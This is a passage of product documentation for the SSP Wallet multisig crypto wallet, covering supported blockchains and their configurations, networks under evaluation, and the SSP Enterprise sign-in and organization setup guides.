  feePerByte: 100, // Default fee rate
  rbf: true // Replace-by-Fee enabled
};
```

#### Bitcoin Testnet & Signet

* **Bitcoin Testnet**: Testing network with same features as mainnet
  * **Bech32 Prefix**: `tb1`
  * **Script Type**: `p2wsh`
  * **Fee Rate**: 5 sat/vbyte (lower for testing)
* **Bitcoin Signet**: Controlled test network
  * **More Reliable**: Consistent block production
  * **Same Configuration**: As testnet but different network

#### Litecoin (LTC)

* **Network**: Litecoin Mainnet
* **Address Type**: P2WSH multisignature
* **Derivation Path**: `m/48'/2'/0'/2'/0/0`
* **Script Type**: `p2wsh`
* **Features**:
  * 2.5-minute block times (4x faster than Bitcoin)
  * Lower transaction fees
  * Scrypt mining algorithm
  * Bech32 addresses (`ltc1...`)

#### Zcash (ZEC)

* **Network**: Zcash Mainnet
* **Address Type**: P2SH multisignature (transparent addresses)
* **Script Type**: `p2sh`
* **Derivation Path**: `m/48'/133'/0'/0'/0/0`
* **Features**:
  * Transparent transactions only (t-addresses)
  * Transaction expiry (1 hour default)
  * Overwinter and Sapling protocol support

#### Dogecoin (DOGE)

* **Network**: Dogecoin Mainnet
* **Address Type**: P2SH multisignature
* **Script Type**: `p2sh`
* **Derivation Path**: `m/48'/3'/0'/0'/0/0`
* **Features**:
  * Very low transaction fees (typically well under 1 DOGE; auto-computed from transaction size at \~1100 sat/byte and hard-capped at 100 DOGE by config)
  * High transaction throughput
  * 1-minute block times

#### Ravencoin (RVN)

* **Network**: Ravencoin Mainnet
* **Address Type**: P2SH multisignature
* **Script Type**: `p2sh`
* **Derivation Path**: `m/48'/175'/0'/0'/0/0`
* **Features**:
  * Asset creation and transfer capabilities
  * 1-minute block times
  * ASIC-resistant mining (KAWPOW algorithm)
  * Built-in asset layer

#### Flux (FLUX)

* **Network**: Flux Mainnet + Testnet
* **Address Type**: P2SH multisignature
* **Script Type**: `p2sh`
* **Derivation Path**: `m/48'/19167'/0'/0'/0/0` (Flux-specific coin type)
* **Features**:
  * Native integration with Flux decentralized cloud
  * Transaction expiry (30 blocks, \~1 hour)
  * Built-in message capability (80 bytes)
  * Special integration with SSP ecosystem

#### Bitcoin Cash (BCH)

* **Network**: Bitcoin Cash Mainnet
* **Address Type**: P2SH multisignature
* **Script Type**: `p2sh`
* **Derivation Path**: `m/48'/145'/0'/0'/0/0`
* **Features**:
  * CashAddr address format (`bitcoincash:` prefix)
  * Low fees and fast confirmations

### Ethereum-Compatible (EVM) Networks

#### Ethereum (ETH)

* **Network**: Ethereum Mainnet
* **Chain ID**: 1 (`0x1`)
* **Address Type**: ERC-4337 smart-contract account (0x…), CREATE2-derived and controlled by a 2-of-2 Schnorr multisig — not a plain EOA
* **Account Abstraction**: Native and only EVM mode (no EOA option)
* **Features**:
  * Schnorr multisig message signing for enhanced security
  * EIP-712 structured data signing
  * WalletConnect v2 integration
  * Account Abstraction (ERC-4337) — native and mandatory for all EVM addresses (no EOA option)
  * DeFi protocol compatibility

```typescript
// Actual Ethereum configuration from blockchains.ts
const eth = {
  id: 'eth',
  libid: 'mainnet',
  chainId: '1',
  chainType: 'evm',
  symbol: 'ETH',
  decimals: 18,
  backend: 'alchemy',
  // Account Abstraction support
  factoryAddress: '0x3974821943e9cA3549744D910999332eE387Fda4',
  entrypointAddress: '0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789',
  baseFee: 11, // 11 gwei
  priorityFee: 2, // 2 gwei
  gasLimit: 750000
};
```

#### Polygon (POL)

* **Network**: Polygon Mainnet
* **Chain ID**: 137 (`0x89`)
* **Address Type**: ERC-4337 smart-contract account (0x…), CREATE2-derived and controlled by a 2-of-2 Schnorr multisig — not a plain EOA
* **Features**:
  * Very low transaction fees (\~$0.01)
  * Fast 2-second block times
  * Full Ethereum Virtual Machine compatibility
  * Account Abstraction support
  * Extensive DeFi ecosystem

#### Binance Smart Chain (BSC)

* **Network**: BNB Smart Chain
* **Chain ID**: 56 (`0x38`)
* **Address Type**: ERC-4337 smart-contract account (0x…), CREATE2-derived and controlled by a 2-of-2 Schnorr multisig — not a plain EOA
* **Features**:
  * Low fees (typically $0.10-2.00)
  * High transaction throughput
  * 3-second block times
  * Binance ecosystem integration
  * Account Abstraction support

#### Avalanche (AVAX)

* **Network**: Avalanche C-Chain
* **Chain ID**: 43114 (`0xa86a`)
* **Address Type**: ERC-4337 smart-contract account (0x…), CREATE2-derived and controlled by a 2-of-2 Schnorr multisig — not a plain EOA
* **Features**:
  * Sub-second transaction finality
  * Low fees (\~$0.10-5.00)
  * Unique Avalanche consensus mechanism
  * Account Abstraction support
  * Growing DeFi ecosystem

#### Base

* **Network**: Base Mainnet (Coinbase L2)
* **Chain ID**: 8453 (`0x2105`)
* **Address Type**: ERC-4337 smart-contract account (0x…), CREATE2-derived and controlled by a 2-of-2 Schnorr multisig — not a plain EOA
* **Features**:
  * Coinbase-backed Layer 2 solution
  * Very low fees (\~$0.01-0.50)
  * Optimistic rollup technology
  * Growing consumer application ecosystem
  * Account Abstraction support

### Solana Network

#### Solana (SOL)

* **Network**: Solana Mainnet Beta
* **Address Type**: Program-Derived Address (PDA) vault, owned by SystemProgram
* **Multisig Program**: `SSPWVu7dtTDkZYmDx73StqV46PioSmdiNE7igpjHK1r`
* **Derivation**: The multisig PDA is derived from `sha256(sorted_members) + threshold`, so its address is knowable — and fundable — before any on-chain action
* **Features**:
  * SSP's own self-initiating multisig program (not Squads)
  * Permissionless registration; spends gated purely by the M-of-N threshold check
  * Immutable member set and threshold (migrate funds to rotate)
  * SPL token support, including USDC
  * Reproducible builds verifiable against the public source via `solana-verify`

> Devnet runs a **separate deployment** of the same program (`CisPSFTQoTnEqn5cUi1pgpfPp2xiTVRkK7eD5jBevxdX`) under its own keypair and upgrade authority. The program IDs differ by design — a vault address is derived from the program ID, so the two clusters never share addresses.

### Testnets

The following testnets are available:

* **Sepolia** - Ethereum testnet (not Goerli)
* **Amoy** - Polygon testnet (not Mumbai)
* **Bitcoin Testnet** - Bitcoin testing network
* **Bitcoin Signet** - Controlled Bitcoin test network
* **Flux Testnet** - Flux testing network
* **Solana Devnet** - Solana testing network

## 🔧 Network-Specific Features

### UTXO Networks (Bitcoin-based)

#### Transaction Construction

```typescript
// UTXO transaction structure
interface UTXOTransaction {
  inputs: Array<{
    txid: string;
    vout: number;
    value: number;
    scriptSig: string;
  }>;
  outputs: Array<{
    address: string;
    value: number;
  }>;
  fee: number;
  rbf: boolean; // Replace-by-Fee
}
```

#### Multi-Signature Implementation

* **2-of-2 P2SH**: Standard multisig with script hash
* **2-of-2 P2WSH**: SegWit wrapped multisig (lower fees)
* **Address Generation**: Both public keys required
* **Signing Process**: Sequential signing by both keys

### EVM Networks (Ethereum-compatible)

#### Transaction Structure

```typescript
// EVM transaction structure
interface EVMTransaction {
  to: string;
  value: string;
  data: string;
  gasLimit: string;
  gasPrice: string; // or maxFeePerGas/maxPriorityFeePerGas for EIP-1559
  nonce: number;
  chainId: number;
}
```

#### Smart Contract Integration

* **Contract Calls**: Direct smart contract interaction
* **Token Transfers**: ERC-20, ERC-721, ERC-1155 support
* **DeFi Protocols**: Uniswap, Aave, Compound integration
* **Account Abstraction**: ERC-4337 compatible wallets

## 🌍 Network Selection & Switching

### Network Selection

SSP Wallet does not infer the network from a recipient address or token contract. The active network is selected explicitly:

* **User selection**: You pick the active chain in the wallet's chain selector; each chain has its own wallet and send view.
* **dApp request**: A connected dApp can request a switch via WalletConnect's `wallet_switchEthereumChain`, which SSP maps to a matching configured EVM chain and surfaces for your approval.

When you paste a recipient address, SSP validates it against the currently selected chain and warns you only if the address looks like it belongs to a different chain *type* (EVM / Solana / UTXO). Because all EVM chains share the same `0x` address format, SSP cannot detect which EVM network an address belongs to — always confirm you are on the intended network before sending, as transactions are irreversible.

### Manual Network Switching

```typescript
// Request network switch
await sspProvider.request({
  method: 'wallet_switchEthereumChain',
  params: [{ chainId: '0x89' }] // Polygon
});

// Add custom network
await sspProvider.request({
  method: 'wallet_addEthereumChain',
  params: [{
    chainId: '0x2105', // Base
    chainName: 'Base',
    nativeCurrency: {
      name: 'Ether',
      symbol: 'ETH', 
      decimals: 18
    },
    rpcUrls: ['https://mainnet.base.org'],
    blockExplorerUrls: ['https://basescan.org']
  }]
});
```

## ⚡ Network Performance & Fees

### Transaction Speed Comparison

| Network       | Block Time   | Typical Confirmation Time  | Finality     |
| ------------- | ------------ | -------------------------- | ------------ |
| **Bitcoin**   | \~10 minutes | 30-60 minutes (3-6 blocks) | 6+ blocks    |
| **Ethereum**  | \~12 seconds | 1-5 minutes (5-25 blocks)  | \~15 minutes |
| **Polygon**   | \~2 seconds  | 30-60 seconds              | \~30 seconds |
| **BSC**       | \~3 seconds  | 30-90 seconds              | \~45 seconds |
| **Avalanche** | \~2 seconds  | 10-30 seconds              | Sub-second   |
| **Base**      | \~2 seconds  | 30-60 seconds              | \~2 minutes  |

### Fee Comparison (Typical)

| Network       | Transfer Fee | Token Transfer | Swap Fee | DeFi Interaction |
| ------------- | ------------ | -------------- | -------- | ---------------- |
| **Bitcoin**   | $1-10        | N/A            | N/A      | N/A              |
| **Ethereum**  | $5-50        | $10-100        | $20-200  | $50-500          |
| **Polygon**   | $0.01-1      | $0.02-2        | $0.10-5  | $0.50-10         |
| **BSC**       | $0.10-2      | $0.20-3        | $0.50-5  | $1-20            |
| **Avalanche** | $0.10-5      | $0.20-8        | $1-15    | $2-30            |
| **Base**      | $0.01-2      | $0.05-5        | $0.20-10 | $1-25            |

*Fees vary based on network congestion and transaction complexity*

## 🔍 Block Explorers

### Mainnet Explorers

* **Bitcoin**: [mempool.space](https://mempool.space), [blockstream.info](https://blockstream.info)
* **Ethereum**: [etherscan.io](https://etherscan.io)
* **Polygon**: [polygonscan.com](https://polygonscan.com)
* **BSC**: [bscscan.com](https://bscscan.com)
* **Avalanche**: [snowtrace.io](https://snowtrace.io)
* **Base**: [basescan.org](https://basescan.org)
* **Flux**: [explorer.runonflux.io](https://explorer.runonflux.io)
* **Solana**: [explorer.solana.com](https://explorer.solana.com)

### Testnet Explorers

* **Bitcoin Testnet**: [mempool.space/testnet](https://mempool.space/testnet)
* **Sepolia**: [sepolia.etherscan.io](https://sepolia.etherscan.io)
* **Amoy**: [amoy.polygonscan.com](https://amoy.polygonscan.com)
* **Solana Devnet**: [explorer.solana.com?cluster=devnet](https://explorer.solana.com?cluster=devnet)

## 🛠️ Development & Testing

### Testnet Information

For testnet tokens and development resources, consult official network documentation.

### Network Configuration for Development

Development configurations are available in the SSP Wallet source code. Refer to the blockchains.ts file for accurate network parameters.

## 🔮 Networks Under Evaluation

### Research Phase

* **Cardano**: Multi-signature implementation research in progress
* **Cosmos**: Inter-blockchain communication and multisig evaluation
* **TRON**: TRC-20 and native multisig assessment
* **NEAR**: Account model and multisig capabilities evaluation

For detailed information, see [Networks Under Evaluation](/docs/blockchain-deep-dives/networks-under-evaluation).

### Community Requests

Submit requests for new network support on [GitHub](https://github.com/RunOnFlux/ssp-wallet/issues).

## 🎯 Network Selection Best Practices

### For Users

1. **Bitcoin**: Long-term storage, high-value transfers
2. **Ethereum**: DeFi, NFTs, complex smart contracts
3. **Polygon/BSC**: Frequent trading, gaming, low-value transfers
4. **Avalanche/Base**: DeFi with better UX, moderate fees
5. **Testnets**: Always test before mainnet transactions

### For Developers

1. **Test on testnets first** before mainnet deployment
2. **Consider fee structures** for your application's use case
3. **Plan for network congestion** during high-traffic periods
4. **Implement network switching** for better user experience
5. **Monitor network health** and have fallback options

## 📊 Network Health Monitoring

### Real-Time Status

SSP Wallet displays real-time sync status for all supported networks within the application.

### Performance Metrics

* Block height synchronization
* Transaction pool status
* Network fee recommendations
* Connection health indicators

## Next Steps

* [**Bitcoin & UTXO Management**](https://github.com/RunOnFlux/ssp-docs/tree/master/blockchains/bitcoin-utxo.md) - Deep dive into UTXO networks
* [**Ethereum & EVM Networks**](https://github.com/RunOnFlux/ssp-docs/tree/master/blockchains/ethereum-evm.md) - EVM-specific features and optimization
* [**Gas Optimization Strategies**](https://github.com/RunOnFlux/ssp-docs/tree/master/blockchains/gas-optimization.md) - Reduce transaction costs
* [**Custom Token Management**](https://github.com/RunOnFlux/ssp-docs/tree/master/blockchains/custom-tokens.md) - Add and manage custom tokens


# Networks Under Evaluation

SSP Wallet continuously evaluates new blockchain networks for integration, focusing on those that can support secure multisignature implementations while maintaining the core security principles of the SSP ecosystem.

## Current Evaluation Status

The following networks are actively being researched and evaluated for future SSP Wallet support:

### 🌐 Solana (SOL) — Live on Mainnet

**Status**: Live on **mainnet** (program `SSPWVu7dtTDkZYmDx73StqV46PioSmdiNE7igpjHK1r`) and **devnet** (program `CisPSFTQoTnEqn5cUi1pgpfPp2xiTVRkK7eD5jBevxdX`). Solana has graduated from evaluation to a shipped integration.

The two clusters run **separate deployments of the same program**, each with its own keypair and upgrade authority, so the program IDs deliberately differ. The mainnet build is reproducible and verified against the public source with `solana-verify`.

Solana uses **SSP's own self-initiating multisig program** — **not** Squads, and with no separate bootloader. The multisig account is a Program-Derived Address deterministically derived from `sha256(sorted_members) + threshold`, so registration is permissionless and spends are gated purely by the threshold check (Bitcoin-P2WSH-style).

#### Delivered properties

* **Trustless initialization**: No single "creator" signer — anyone can register the deterministic multisig.
* **Front-running resistance**: The config is bound to the member/threshold hash.
* **Immutable configuration**: Members and threshold are fixed at creation (to "rotate," migrate funds to a new multisig).
* **PDA vault model**: A separate SystemProgram-owned vault holds funds; the program authorizes spends via `invoke_signed`.
* **Verifiable builds**: The deployed mainnet bytecode is reproducible from source and independently checkable with `solana-verify verify-from-repo`.

See [Supported Blockchains](/docs/blockchain-deep-dives/supported-blockchains) for live integration details.

***

The following networks are being researched and evaluated for future SSP Wallet support:

### 🔄 Cardano (ADA)

**Status**: Research Phase\
**Evaluation Focus**: Multi-signature implementation research in progress

#### Technical Considerations

* **UTXO Model**: Similar to Bitcoin but with enhanced scripting capabilities
* **Native Scripts**: Built-in multisignature support through native scripts
* **Plutus Smart Contracts**: Advanced scripting for complex multisig logic
* **Transaction Model**: UTXO-based with deterministic fee calculation

#### Integration Challenges

* **Key Derivation**: Adapting BIP48 to Cardano's HD wallet structure
* **Address Format**: Supporting both Byron and Shelley address formats
* **Metadata Handling**: Transaction metadata for SSP communication protocol
* **Staking Integration**: Considerations for delegation and rewards

#### Potential Features

* **Native Multisig**: Leverage Cardano's built-in multisignature capabilities
* **Smart Contract Integration**: Advanced features through Plutus contracts
* **Staking Support**: Delegate ADA while maintaining multisig security
* **DeFi Integration**: Connect with Cardano DeFi protocols

***

### 🌌 Cosmos (ATOM)

**Status**: Inter-blockchain communication and multisig evaluation

#### Technical Considerations

* **Cosmos SDK**: Modular blockchain framework with built-in multisig
* **IBC Protocol**: Inter-blockchain communication capabilities
* **Account Model**: Secp256k1 signatures compatible with existing SSP infrastructure
* **Gas Model**: Predictable fee structure similar to Ethereum

#### Integration Challenges

* **Multi-Chain Architecture**: Supporting multiple Cosmos chains (Osmosis, Juno, etc.)
* **IBC Integration**: Cross-chain transaction coordination
* **Staking Mechanics**: Validator delegation and slashing considerations
* **Governance Integration**: Participating in on-chain governance proposals

#### Potential Features

* **IBC Transactions**: Cross-chain transfers within Cosmos ecosystem
* **Multi-Chain Support**: Single interface for multiple Cosmos chains
* **Staking Integration**: Secure staking with multisig protection
* **Governance Participation**: Vote on proposals with multisig security

***

### ⚡ TRON (TRX)

**Status**: TRC-20 and native multisig assessment

#### Technical Considerations

* **Account Model**: Similar to Ethereum with address-based accounts
* **TRC-20 Tokens**: Standard token format similar to ERC-20
* **Energy/Bandwidth**: Unique fee structure with staked resources
* **Smart Contracts**: Solidity-compatible virtual machine

#### Integration Challenges

* **Resource Management**: Handling energy and bandwidth requirements
* **Multisig Implementation**: Evaluating native vs smart contract approaches
* **TRC-20 Support**: Token detection and management
* **Network Stability**: Ensuring reliable network connectivity

#### Potential Features

* **TRC-20 Token Support**: Comprehensive TRON token ecosystem
* **Resource Optimization**: Efficient energy and bandwidth usage
* **DeFi Integration**: Access to TRON DeFi protocols like JustSwap
* **Staking Rewards**: Participate in Super Representative voting

***

### 🌈 NEAR Protocol (NEAR)

**Status**: Account model and multisig capabilities evaluation

#### Technical Considerations

* **Account Model**: Human-readable account names and subaccounts
* **Access Keys**: Flexible key management system with different permission levels
* **Sharding**: Nightshade sharding for scalability
* **Storage Model**: State rent and storage staking considerations

#### Integration Challenges

* **Account Structure**: Adapting to NEAR's unique account model
* **Key Management**: Integrating with NEAR's access key system
* **Cross-Shard Transactions**: Handling sharded execution
* **Storage Costs**: Managing state rent and storage requirements

#### Potential Features

* **Subaccount Management**: Create and manage subaccounts with multisig
* **Access Key Control**: Fine-grained permission management
* **DeFi Integration**: Connect with NEAR DeFi ecosystem
* **Low-Cost Transactions**: Benefit from NEAR's scalable architecture

## Evaluation Criteria

### Technical Requirements

* **Multisignature Support**: Native or smart contract-based multisig capabilities
* **Key Compatibility**: Compatibility with secp256k1 or ability to adapt existing key management
* **Transaction Model**: Clear transaction structure for SSP communication protocol
* **Network Reliability**: Stable network with consistent block production

### Security Standards

* **Cryptographic Strength**: Strong cryptographic foundations
* **Audit History**: Network security audits and track record
* **Decentralization**: Sufficient validator/node distribution
* **Upgrade Safety**: Safe network upgrade mechanisms

### Ecosystem Maturity

* **Developer Tools**: Mature development ecosystem and tooling
* **DeFi Integration**: Active DeFi protocols for user utility
* **Community Support**: Strong community and institutional adoption
* **Regulatory Clarity**: Clear regulatory environment for integration

### User Experience

* **Transaction Speed**: Reasonable confirmation times
* **Fee Structure**: Predictable and reasonable transaction costs
* **Mobile Compatibility**: Ability to integrate with SSP Key mobile app
* **Error Recovery**: Robust error handling and recovery mechanisms

## Integration Timeline

### Phase 1: Technical Research (Ongoing)

* **Blockchain Analysis**: Deep dive into network architecture and capabilities
* **Multisig Design**: Design multisignature implementation approach
* **Compatibility Assessment**: Evaluate integration complexity
* **Security Review**: Assess security implications and requirements

### Phase 2: Proof of Concept (TBD)

* **Prototype Development**: Build basic integration prototype
* **Security Testing**: Comprehensive security testing and review
* **Performance Evaluation**: Test transaction throughput and user experience
* **Community Feedback**: Gather feedback from users and stakeholders

### Phase 3: Production Integration (TBD)

* **Full Implementation**: Complete integration with all SSP Wallet features
* **Audit and Testing**: Professional security audits and extensive testing
* **User Interface**: Seamless integration with existing SSP Wallet UI
* **Documentation**: Complete user guides and developer documentation

## Community Input

### Feedback Channels

We encourage community feedback on network priorities and integration approaches:

* **GitHub Discussions**: [SSP Wallet Discussions](https://github.com/RunOnFlux/ssp-wallet/discussions)
* **Community Discord**: Join discussions about network integration priorities
* **Feature Requests**: Submit specific network integration requests
* **Technical Input**: Share expertise about specific blockchain architectures

### Voting and Prioritization

* **Community Polls**: Regular polls on network integration priorities
* **Usage Analytics**: Consider user demand and ecosystem growth
* **Technical Feasibility**: Balance community requests with technical complexity
* **Security First**: Prioritize networks that maintain SSP's security standards

## Development Resources

### Research Documentation

* **Technical Analysis**: Detailed analysis of each network's capabilities
* **Integration Proposals**: Specific approaches for multisig implementation
* **Security Assessments**: Security considerations for each network
* **Timeline Estimates**: Projected development and integration timelines

### Contributing

Developers and researchers interested in contributing to network evaluation:

* **Research Contributions**: Help analyze network capabilities and requirements
* **Prototype Development**: Assist with proof-of-concept implementations
* **Testing Support**: Help with security testing and validation
* **Documentation**: Contribute to technical documentation and guides

## Current Status Summary

| Network     | Status   | Key Focus                      | Timeline         |
| ----------- | -------- | ------------------------------ | ---------------- |
| **Cardano** | Research | Multi-signature native scripts | Under evaluation |
| **Cosmos**  | Research | IBC and multi-chain support    | Under evaluation |
| **TRON**    | Research | TRC-20 and resource management | Under evaluation |
| **NEAR**    | Research | Account model adaptation       | Under evaluation |

**Note**: Integration timelines depend on technical complexity, security requirements, community demand, and development resources. Networks that demonstrate strong multisignature capabilities and align with SSP's security principles will be prioritized for integration.

The evaluation process ensures that any new network integration maintains the high security standards and user experience that define the SSP Wallet ecosystem.


# SSP Enterprise Overview

SSP Enterprise is multi-party crypto custody for teams. Your organization holds the keys, your team co-signs transactions, and the platform handles the coordination — proposals, approvals, audit trail, and policy enforcement.

It runs on the same two-device security model as SSP Wallet (browser extension + mobile app), but instead of one person controlling one wallet, your team collectively controls organizational vaults.

🌐 **Live at:** [enterprise.sspwallet.com](https://enterprise.sspwallet.com)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fgit-blob-220c86be466f31605718753f0101e5cd2f550817%2Fsspwallet-enterprise.png?alt=media" alt="SSP Enterprise: Self-Custody for Business"><figcaption><p>Self-custody multisig for organizations — see <a href="https://sspwallet.io/enterprise">sspwallet.io/enterprise</a></p></figcaption></figure></div>

## What you actually get

* **Vaults that are real on-chain multisigs.** Not a custodian. Not MPC with a vendor share. Native Bitcoin multisig and EVM smart contract multisig, derived from your signers' xpubs.
* **Pick your threshold.** 2-of-3 for a small team. 3-of-5 for a treasury council. 5-of-9 for a board. Whatever matches how your team actually makes decisions.
* **Two devices per signer (default).** In the default Dual Signing mode, a compromised laptop alone can't sign and a compromised phone alone can't sign — both are required on every signature, for every signer. Optional Key Only / Wallet Only signing modes trade this two-device protection for more signers per vault (each signer signs with a single device) — see [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults).
* **One platform, twelve chains.** BTC, ETH, LTC, DOGE, BCH, ZEC, RVN, FLUX, MATIC, BNB, AVAX, BASE — without juggling tools.
* **A policy engine that's actually configurable from the UI.** Spending limits, address whitelists, time-locks, admin approvals, per-signer overrides. No Solidity. No modules to deploy.
* **An audit log you can hand to an auditor.** Every member change, vault op, proposal, and signature, attributed and timestamped.
* **Open source.** SSP Wallet and SSP Key are public. The cryptography is verifiable.

## How the pieces fit

```
SSP Wallet (browser extension)  ←→  SSP Enterprise  ←→  SSP Key (mobile app)
            │                       (web app at                  │
            │                  enterprise.sspwallet.com)         │
            └───────────── 2-of-2 WK Identity ────────────────────┘
                                    │
                                    ▼
                       Multi-party multisig vaults
                          (M-of-N across team)
```

* **WK Identity** is your unique cryptographic identity, derived from a 2-of-2 multisig of your SSP Wallet + SSP Key public keys. No password. No email required for first login. You sign in by signing a challenge with both devices.
* **Organizations** group your team. One owner, several admins, members, viewers.
* **Vaults** are the M-of-N multisig wallets where funds live. One organization can have many vaults across different chains.
* **Proposals** are transactions waiting on signers. Each designated signer approves with their wallet + key. Threshold met → broadcast.

## What you need before signing in

Every team member who'll be on a vault needs to be set up as an SSP Wallet user first:

1. **SSP Wallet** browser extension — [Chrome](https://chromewebstore.google.com/detail/ssp-wallet/mgfbabcnedcejkfibpafadgkhmkifhbd) or [Firefox](https://addons.mozilla.org/firefox/addon/ssp-wallet)
2. **SSP Key** mobile app — [iOS](https://apps.apple.com/app/ssp-key/id6463717332) or [Android](https://play.google.com/store/apps/details?id=io.runonflux.sspkey)
3. **Wallet + Key paired and synced** — see the [SSP Wallet first-time setup](/docs/quick-start-guides/first-time-setup)

Once that works as a normal personal wallet, you can sign in to SSP Enterprise.

## Walkthroughs

The product, end to end:

1. [**Getting Started**](/docs/ssp-enterprise/getting-started) — sign in for the first time
2. [**Creating Your First Organization**](/docs/ssp-enterprise/creating-organization) — set up the workspace
3. [**Inviting Team Members & Roles**](/docs/ssp-enterprise/inviting-members) — bring your team in
4. [**Creating Multisig Vaults**](/docs/ssp-enterprise/creating-vaults) — set up M-of-N vaults per chain
5. [**Proposing & Signing Transactions**](/docs/ssp-enterprise/transactions) — move funds with collective approval
6. [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — spending limits, whitelists, time-locks

## Switching from another platform?

* [Migrating from Fireblocks](/docs/ssp-enterprise/migration/from-fireblocks)
* [Migrating from Safe (Gnosis Safe)](/docs/ssp-enterprise/migration/from-safe)
* [Migrating from BitGo](/docs/ssp-enterprise/migration/from-bitgo)

## Setting up for a specific use case?

* [DAO Treasury Management](/docs/ssp-enterprise/use-cases/dao-treasury)
* [Corporate Treasury Workflow](/docs/ssp-enterprise/use-cases/corporate-treasury)

## Help

* **Sales / custom plans:** email <tadeas@sspwallet.com> or [book a 30-min call](https://calendar.app.google/NZd7n1d6Hjmd7XFD6)
* **Technical issues:** [GitHub Issues](https://github.com/RunOnFlux/ssp-wallet/issues)
* **Security:** see the [Security Overview](/docs/security-and-best-practices/security-overview)


# Getting Started

Your first sign-in goes through your **WK Identity** — proving you control both your SSP Wallet and your SSP Key by signing a challenge with both. After that, you can attach an email or Google account for faster access on subsequent visits.

## What you need

* SSP Wallet browser extension installed and unlocked
* SSP Key mobile app installed, paired with your wallet, unlocked
* Both devices online (your phone needs internet to receive the sign-in approval)

If your wallet + key aren't set up yet, do that first: [SSP Wallet first-time setup](/docs/quick-start-guides/first-time-setup).

## Sign in

Go to [**enterprise.sspwallet.com**](https://enterprise.sspwallet.com).

You'll see three tabs: Google, Email, SSP. Pick **SSP** — that's the one that uses your wallet and key.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fgit-blob-5e8812763fe87546393293867a8d8f0701883a26%2Fenterprise-login.png?alt=media" alt="SSP Enterprise login screen with Google, Email, and SSP tabs"><figcaption><p>The SSP Enterprise login screen at enterprise.sspwallet.com</p></figcaption></figure></div>

If your SSP Wallet extension isn't installed, install buttons appear here. Once it's installed, refresh and continue.

Click **Sign in with SSP Wallet**. Two prompts arrive at once:

1. **In your SSP Wallet extension** — review the request, click Approve. The wallet signs the sign-in challenge.
2. **On your phone, in SSP Key** — same request, same challenge. Approve with PIN or biometric.

The browser shows **Verifying...** while the server checks both signatures match your WK Identity. On success, you land on the Organizations page (if you're new) or your Dashboard (if you already belong to an org).

## What just happened

You signed a one-time challenge with two private keys, one on each device. The server verified both signatures, confirmed they belong to your WK Identity, and gave you a session.

No password got created. No email is required. Your WK Identity is the source of truth — everything else is convenience.

## Want faster sign-in next time?

Once you're in, you can attach an email or Google account so you don't need both devices online for routine logins.

* **Why bother?** Logging in from a coffee shop laptop is painful if you also need to dig out your phone every time.
* **Why it's still secure:** email and Google sign-in only work *after* WK Identity is established. They're attached *to* your identity, not replacements for it.
* **Critical actions still need WK signing.** Transferring ownership, removing members, deleting an org, changing your linked email — these prompt your wallet + key regardless of how you signed in.

To attach: open **Profile → Linked Accounts → Add Email** or **Add Google**.

## Next

* [**Create your first organization**](/docs/ssp-enterprise/creating-organization) — set up the workspace where your vaults live
* [**Invite team members**](/docs/ssp-enterprise/inviting-members) — bring others in


# Creating Your First Organization

Organizations are the top-level containers in SSP Enterprise. Every vault, member, invitation, policy, and audit log belongs to an organization. You're automatically the **Owner** of any organization you create.

This guide walks you through creating one.

## Before you begin

* You must be **logged in to SSP Enterprise** ([Getting Started](/docs/ssp-enterprise/getting-started))
* If your plan limits the number of organizations you can own, make sure you're under the limit

## Step 1 — Open the Organizations page

From the main navigation, click **Organizations**.

If you don't belong to any organization yet, this page is your landing page after login. You'll see an empty state inviting you to **Create Organization** or accept a pending invitation.

## Step 2 — Click "Create Organization"

The button is in the top right of the Organizations page. A modal opens titled **Create Organization**.

## Step 3 — Fill in the form

**Organization Name** (required, 2–100 characters)

* Use the legal or operating name of your team.
* Example: `Acme Corporation`, `Defi Treasury Council`, `Smith & Jones Partnership`

**Description** (optional, up to 500 characters)

* Briefly describe what this organization is for.
* Example: `Operating treasury for Acme Corp. Vaults: ops, payroll, reserve.`
* The character count is shown as you type.

## Step 4 — Click "Create Organization"

The form validates, then submits to the backend.

You'll see a success message: **Organization "\[name]" created successfully**. The modal closes and your new organization appears in the list. It also becomes your **current workspace** — meaning the rest of the app (vaults, members, policies) now operates in the context of this organization.

You're automatically assigned the **Owner** role.

## What gets created

When you create an organization, the system also assigns it a permanent **organization index** — a numeric identifier in the range 100–99999. You don't choose this number; the backend allocates the next available one.

The org index is used internally to derive the cryptographic paths for your vaults and signers, like this:

```
m/48'/<coin>'/<orgIndex>'/<scriptType>'/<vaultIndex>/<addressIndex>
```

**The org index is permanent.** Even if you delete the organization later, the index is never reused. This guarantees that vault addresses never collide across the lifetime of the system. You'll see the org index in your Organization Settings if you ever need it for advanced configuration or migration.

## Switching between organizations

If you belong to multiple organizations (your own + ones you've been invited to), use the organization switcher in the top nav to change context. All pages — vaults, members, policies, activity — update to show the selected organization.

## Updating organization settings

After creation, the **Owner** and **Admins** can update:

* **Name** — descriptive only, can be changed any time
* **Description**
* **Logo** — upload a small image that shows in the org switcher and on shared links

You **cannot** change:

* The organization index (permanent)
* The owner (only via Transfer Ownership, which is a critical action requiring WK re-signing — see below)

## Transferring ownership

Ownership is held by exactly one WK Identity. To move it to another member:

1. Open **Organization → Settings → Transfer Ownership**
2. Select the target member (must be an existing Admin)
3. The current owner signs the transfer with both SSP Wallet + SSP Key (a critical action)
4. Once confirmed, ownership transfers immediately and you become an Admin

Owners cannot leave an organization without first transferring ownership.

## Deleting an organization

Only Owners can delete an organization. Deletion is a critical action and requires WK re-signing.

What happens on delete:

* The org is **soft-deleted** — all data (members, invitations, vaults, audit logs) is preserved
* The org index is permanently retained (never reused)
* All pending invitations are auto-revoked
* Existing vaults remain on-chain — funds are not affected, but you lose the management interface

Deletion is reversible with administrative help (contact support), since data is retained. Vault funds are always recoverable using the underlying cryptographic seeds — the org is a coordination layer, not custody.

## Next steps

* [**Invite Team Members**](/docs/ssp-enterprise/inviting-members) — bring your team into the org
* [**Create Multisig Vaults**](/docs/ssp-enterprise/creating-vaults) — once members are in, set up vaults


# Inviting Team Members & Roles

This guide covers how to invite people to your organization, what each role can do, and how members accept or reject invitations.

## Roles overview

